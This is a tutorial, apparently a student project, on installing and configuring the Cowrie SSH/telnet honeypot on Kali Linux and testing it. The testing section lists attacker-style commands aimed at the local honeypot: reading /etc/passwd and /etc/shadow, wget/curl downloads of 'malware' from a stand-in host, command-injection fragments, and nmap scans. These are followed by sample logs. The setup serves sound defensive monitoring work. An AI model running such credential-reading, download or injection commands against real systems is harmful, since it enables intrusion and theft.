

## Project Title: Setting Up and Testing a Honeypot

Here we will use cowrie honeypot software and Linux (kali) distribution system for setting up and testing honeypot

### Steps to Install and Configure Cowrie

#### Step 1: Update the System

We need to make sure that system is up to date.

```
sudo apt-get update
```

```
sudo apt-get upgrade -y
```

#### Step 2: Install Dependencies

Install the necessary dependencies for Cowrie.

```
sudo apt-get install git python3-virtualenv libssl-dev libffi-dev build-essential -y
```

#### Step 3: Clone the Cowrie Repository

Clone the Cowrie repository from GitHub.

```
git clone https://github.com/cowrie/cowrie
```

```
cd cowrie
```

#### Step 4: Set Up the Virtual Environment

Create and activate a virtual environment for Cowrie.

```
virtualenv --python=python3 cowrie-env
```

```
source cowrie-env/bin/activate
```

### **Step 5: Install Python Dependencies**

Install the required Python packages using the provided `requirements.txt` file.

```
pip install --upgrade pip
```

```
pip install -r requirements.txt
```

### **Step 6: Configure Cowrie**

Copy the default configuration file and edit it to your needs.

```
cp etc/cowrie.cfg.dist etc/cowrie.cfg
```

```
nano etc/cowrie.cfg
```

### **Configuration Example:**

Setting up configuration by editing the etc/cowrie.cfg file by following:

```
[honeypot]
```

```
# Change the hostname to something realistic
```

```
hostname = honeypot-server
```

```
[ssh]
```

```
enabled = true
```

```
listen_port = 2222 # Non-standard port to avoid conflicts
```

```
[telnet]
```

```
enabled = true
```

```
listen_port = 2223 # Non-standard port to avoid conflicts
```

**[output\_textlog]**

**enabled = true**

**logfile = log/cowrie.log**

**[output\_jsonlog]**

**enabled = true**

**logfile = log/cowrie.json**

### **Step 7: Start Cowrie**

Start Cowrie using the provided scripts.

**bin/cowrie start**

### **Step 8: Verify Cowrie is Running**

Check the logs to ensure Cowrie started correctly.

**tail -f log/cowrie.log**

### **Testing Honeypot:**

**Now for testing we try to log in by using tcp or ssh, and execute commands or download file.**

#### **Basic SSH Connection**

First, connect to the Cowrie honeypot via SSH or telnet:

```
ssh root@localhost -p 2222
```

or

```
telnet root@loaclhost 2222
```

## Directory Navigation

Navigate through directories and list contents:

```
cd /home
ls
cd /
ls
```

## Reading Files

Attempt to read common files:

```
cat /etc/passwd
cat /etc/hosts
cat /etc/shadow
```

## File Downloads

Simulate file download attempts using `wget` or `curl`:

```
wget http://example.com/malware
curl-O http://example.com/malware
```

## File Uploads

Attempt to upload files using `scp`:

```
scp localfile.txt root@localhost:/tmp -P 2222
```

## Command Injection

Try command injection techniques to see how Cowrie logs these:

```
; ls
&& whoami
| uname -a
```

## Network Scanning

Simulate network scanning commands:

```
nmap localhost
ping -c 4 google.com
```

## Create and Edit Files

Create and edit files to see how file operations are logged:

```
echo "Honeygot test" > /tmp/testfile.txt  
nano /tmp/testfile.txt
```

These will generate below like Log Messages:

## Typical Log Messages

- **Connection Attempts:**
  - Logs indicating new connections to the honeypot.
  - Source IP addresses and ports.
- **Login Attempts:**
  - Successful and failed login attempts.
  - Usernames and passwords used.
- **Command Execution:**
  - Commands executed by attackers.
  - Commands that failed or were not found.
- **File Downloads:**
  - Attempts to download files.
  - URLs and filenames involved.

## Example Log Scenario

### 1. New Connection:

```
2024-06-06T10:34:56.123456+0000 [cowrie.ssh.factory.CowrieSSHFactory]  
New connection: 192.168.1.100:2222 (192.168.0.107:12345) [session:  
TT0000001]
```

### 2. Login Attempt:

```
2024-06-06T12:35:01.123456+0000 [cowrie.ssh.factory.CowrieSSHFactory]  
login attempt [root/root] succeeded
```

### 3. Command Execution:

```
2024-06-06T10:35:03.123456+0000 [SSHService 'ssh-connection'] executing  
command "ls"
```

### 4. Failed Command:

```
2024-06-06T10:35:05.123456+0000 [SSHService 'ssh-connection'] Command  
not found: 'wget'
```

We can monitor these types of logs to observe the suspicious behavior, attacks or unauthorized activity and safeguard the system by taking measure accordingly.